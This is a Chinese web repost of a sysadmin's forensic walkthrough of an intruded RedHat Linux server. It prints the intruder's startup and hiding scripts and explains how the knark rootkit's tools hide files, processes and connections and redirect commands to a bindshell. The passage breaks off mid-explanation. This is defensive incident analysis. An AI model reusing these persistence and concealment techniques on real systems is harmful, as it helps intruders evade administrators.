分享
 
 
 

分析入侵者的过程和步骤

王朝other·作者佚名  2008-05-19
窄屏简体版  字體: |||超大  

一、意外

时间:2001-3-11下午

地点:某台RedHat Linux机器:

#uname -a

Linux *.*.cn.net 2.2.5-15 #1 Mon Apr 19 23:00:46 EDT 1999 i686unknown

俺习惯性地先进到/etc/rc.d/init.d,看了一下,马上发现异状:

#ls -la

……

-rwxr-xr-x 1 root root 2775 Mar 26 1999 netfs

-rwxr-xr-x 1 root root 5537 Mar 3 21:23 network

-rwxr-xr-x 1 root root 2408 Apr 16 1999 nfs

……

二、初步检查

明显是个新手干的嘛,network文件被人动过了,咱们用stat命令看看先:

#stat network

File: "network"

Size: 5537 Filetype: Regular File

Mode: (0755/-rwxr-xr-x) Uid: ( 0/ root) Gid: ( 0/ root)

Device: 3,1 Inode: 269454 Links: 1

Access: Sun Mar 11 10:59:59 2001(00000.05:53:41)

Modify: Sun Mar 4 05:23:41 2001(00007.11:29:59)

Change: Sun Mar 4 05:23:41 2001(00007.11:29:59)

最后被人改动的时间是3月4号的凌晨。让我们来看看他往文件里加了什么吧:

#cat network

……

/usr/lib/libdd.so.1

就是这么一句,加在文件末尾,看来的确是手段不甚高明。瞧瞧这是个什么文件先

#file /usr/lib/libdd.so.1

/usr/lib/libdd.so.1: ELF 32-bit LSB executable, Intel 80386,version 1,

dynamically linked (uses shared libs), not stripped

哦,是个二进制的可执行文件,执行下strings看是否眼熟

#strings /usr/lib/libdd.so.1

/lib/ld-linux.so.2

__gmon_start__

libc.so.6

system

__deregister_frame_info

_IO_stdin_used

__libc_start_main

__register_frame_info

GLIBC_2.0

PTRh

/boot/.pty0/go.sh

哦,这就简单了嘛,俺看看这里面的路径:

#cd /boot/.pty0

#cat go.sh

#!/bin/bash

f=`ls -al /boot | grep .pty0`

if [ -n "$f" ]; then

cd /boot/.pty0

./mcd -q

cd mech1

./mech -f conf 1/dev/null 2/dev/null

cd ..

cd mech2

./mech -f conf 1/dev/null 2/dev/null

cd ..

cd mech3

./mech -f conf 1/dev/null 2/dev/null

cd ..

/sbin/insmod paraport.o 1/dev/null 2/dev/null

/sbin/insmod iBCS.o 1/dev/null 2/dev/null

./ascunde.sh

fi

有点晕,看不明白mcd、mech这些东西是干嘛用的,再看一下下一个脚本是什么:

#cat ascunde.sh

#!/bin/bash

for proces in `/bin/cat /boot/.pty0/hdm`; do

P=`/sbin/pidof $proces`

if [ -n "$P" ]; then

killall -31 $proces 1/dev/hdm 2/dev/hdm

fi

done

for port in `/bin/cat /boot/.pty0/hdm1`; do

./nethide `./dec2hex $port` 1/dev/hdm 2/dev/hdm

done

for director in `/bin/cat /boot/.pty0/hdm2`; do

./hidef $director 1/dev/hdm 2/dev/hdm

done

看到这里,事情开始有趣了,这似乎不是一个三流的scriptkiddle干的活嘛,打个包拖回来先,于是俺

#cd /boot

#ls -la

total 2265

drwxr-xr-x 3 root root 1024 Mar 11 03:01 .

drwxr-xr-x 21 root root 1024 Mar 2 03:37 ..

lrwxrwxrwx 1 root root 19 Sep 26 1999 System.map -System.map-2.2.5-15

-rw-r--r-- 1 root root 186704 Apr 20 1999 System.map-2.2.5-15

-rw-r--r-- 1 root root 512 Sep 26 1999 boot.0300

-rw-r--r-- 1 root root 4544 Apr 13 1999 boot.b

-rw-r--r-- 1 root root 612 Apr 13 1999 chain.b

-rw------- 1 root root 9728 Sep 26 1999 map

lrwxrwxrwx 1 root root 20 Sep 26 1999 module-info -module-info-2.2.5-15

-rw-r--r-- 1 root root 11773 Apr 20 1999 module-info-2.2.5-15

-rw-r--r-- 1 root root 620 Apr 13 1999 os2_d.b

-rwxr-xr-x 1 root root 1469282 Apr 20 1999 vmlinux-2.2.5-15

lrwxrwxrwx 1 root root 16 Sep 26 1999 vmlinuz -vmlinuz-2.2.5-15

-rw-r--r-- 1 root root 617288 Apr 20 1999 vmlinuz-2.2.5-15

咦,事情更有趣了……居然没有看到.pty0的目录

#cd .pty0

#ls -laF

total 1228

drwxr-xr-x 3 root root 1024 Mar 11 03:01 ../

-rwxr-xr-x 1 root root 345 Mar 3 21:23 ascunde.sh*

-rwxr-xr-x 1 root root 12760 Mar 3 21:23 dec2hex*

-rwxr-xr-x 1 root root 13414 Mar 3 21:23 ered*

-rwxr-xr-x 1 root root 358 Mar 7 19:03 go.sh*

-rwxr-xr-x 1 root root 3872 Mar 3 21:23 hidef*

-rw-r--r-- 1 root root 956 Mar 3 21:23 iBCS.o

-rw-r--r-- 1 root root 524107 Mar 7 18:40 m.tgz

-rwxr-xr-x 1 root root 656111 Mar 3 21:23 mcd*

drwxr-xr-x 4 root root 1024 Mar 7 19:00 mech1/

drwxr-xr-x 4 root root 1024 Mar 9 19:50 mech2/

drwxr-xr-x 4 root root 1024 Mar 9 19:20 mech3/

-rwxr-xr-x 1 root root 12890 Mar 3 21:23 nethide*

-rw-r--r-- 1 root root 10948 Mar 3 21:23 paraport.o

-rw-r--r-- 1 root root 522 Mar 3 21:23 ssh_host_key

-rw------- 1 root root 512 Mar 11 04:16 ssh_random_seed

-rw-r--r-- 1 root root 677 Mar 3 21:23 sshd_config

看来是加载了某个lkm了,比较讨厌。

#/sbin/lsmod

Module Size Used by

nfsd 150936 8 (autoclean)

lockd 30856 1 (autoclean) [nfsd]

sunrpc 52356 1 (autoclean) [nfsd lockd]

3c59x 18920 1 (autoclean)

这些是正常的lkm么?前三个模块跟rpc有关,不知开了哪些rpc服务

#/usr/sbin/rpcinfo -p localhost

program vers proto port

100000 2 tcp 111 rpcbind

100024 1 tcp 664 status

100011 1 udp 673 rquotad

100005 3 tcp 695 mountd

100003 2 udp 2049 nfs

100021 3 tcp 1024 nlockmgr

原来如此,难怪会被入侵,该开的全开了。不过也证明了nfsd,lockd,sunrpc这三个模块没问题了。

再来看看网卡吧,3c59x是网卡的驱动模块。

#/sbin/ifconfig -a

/sbin/ifconfig -a

lo Link encap:Local Loopback

inet addr:127.0.0.1 Bcast:127.255.255.255 Mask:255.0.0.0

UP LOOPBACK RUNNING MTU:3924 Metric:1

RX packets:380640 errors:3374 dropped:0 overruns:0

TX packets:0 errors:0 dropped:0 overruns:380640

eth0 Link encap:10Mbps Ethernet HWaddr 00:10:5A:63:5B:05

inet addr:*.*.*.* Bcast:*.*.*.255 Mask:255.255.255.0

UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1

RX packets:71144611 errors:820101 dropped:0 overruns:0

TX packets:0 errors:0 dropped:0 overruns:436037129

Interrupt:10 Base address:0xe400

#dmesg|grep eth0

eth0: 3Com 3c905B Cyclone 100baseTx at 0xe400, 00:10:5a:63:5b:05,IRQ 10

eth0: Setting promiscuous mode.

device eth0 entered promiscuous mode

看来这些模块都是正常的,但比较狠的就是――device eth0 enteredpromiscuousmode――看来这入侵者架了sniffer开听了,但关键是现在这个入侵者加载了个俺看不到的家伙,有些晕了……咦,对了,看看文件名先……

三、模块介绍

nethide?似乎有点印象……好吧,到俺的一堆破烂里找找……咦,找到一篇knarkhacking的文章,里面有提到nethide,先当下一个来玩玩吧,有个版本号为knark-0.59的,是对LinuxKernel 2.2的,行……咱们先看看这是什么样的内核模块:

除了taskhack.c之处,所有这些文件都是基于knark.o模块的正确加载。

hidef用来隐藏你的文件或者目录,你可以建立一个目录,比如/boot/.pty0,然后键入./hidef/boot/.pty0于是这这个目录便被隐藏起来,并且连du之类的命令也不能找出它来,同样的,子目录下的任何文件也一样地被藏得天衣无缝

ered用来重定向执行某个程序,比如说,你把一个bindsh*ll 的程序拷到/boot/.pty0/bindsh*ll , 然后可以用./ered /bin/ls/boot/.pty0/bindsh*ll 这样的命令,将ls重定向到bindsh*ll , 当然,这样的话,ls是没变,但已经不能正确执行了。如果要清除所有的命令重定向,可以键入./ered -c nethide用来隐藏/proc/net/tcp及/proc/net/udp里的连接进程――netstat就是从这里面获取信息并 输出

 
 
 
免责声明:本文为网络用户发布,其观点仅代表作者个人观点,与本站无关,本站仅提供信息存储服务。文中陈述内容未经本站证实,其真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。
2023年上半年GDP全球前十五强
 百态   2023-10-24
美众议院议长启动对拜登的弹劾调查
 百态   2023-09-13
上海、济南、武汉等多地出现不明坠落物
 探索   2023-09-06
印度或要将国名改为“巴拉特”
 百态   2023-09-06
男子为女友送行,买票不登机被捕
 百态   2023-08-20
手机地震预警功能怎么开?
 干货   2023-08-06
女子4年卖2套房花700多万做美容:不但没变美脸,面部还出现变形
 百态   2023-08-04
住户一楼被水淹 还冲来8头猪
 百态   2023-07-31
女子体内爬出大量瓜子状活虫
 百态   2023-07-25
地球连续35年收到神秘规律性信号,网友:不要回答!
 探索   2023-07-21
全球镓价格本周大涨27%
 探索   2023-07-09
钱都流向了那些不缺钱的人,苦都留给了能吃苦的人
 探索   2023-07-02
倩女手游刀客魅者强控制(强混乱强眩晕强睡眠)和对应控制抗性的关系
 百态   2020-08-20
美国5月9日最新疫情:美国确诊人数突破131万
 百态   2020-05-09
荷兰政府宣布将集体辞职
 干货   2020-04-30
倩女幽魂手游师徒任务情义春秋猜成语答案逍遥观:鹏程万里
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案神机营:射石饮羽
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案昆仑山:拔刀相助
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案天工阁:鬼斧神工
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案丝路古道:单枪匹马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:与虎谋皮
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:李代桃僵
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:指鹿为马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:小鸟依人
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:千金买邻
 干货   2019-11-12
 
推荐阅读
 
 
 
>>返回首頁<<
 
靜靜地坐在廢墟上,四周的荒凉一望無際,忽然覺得,淒涼也很美
© 2005- 王朝網路 版權所有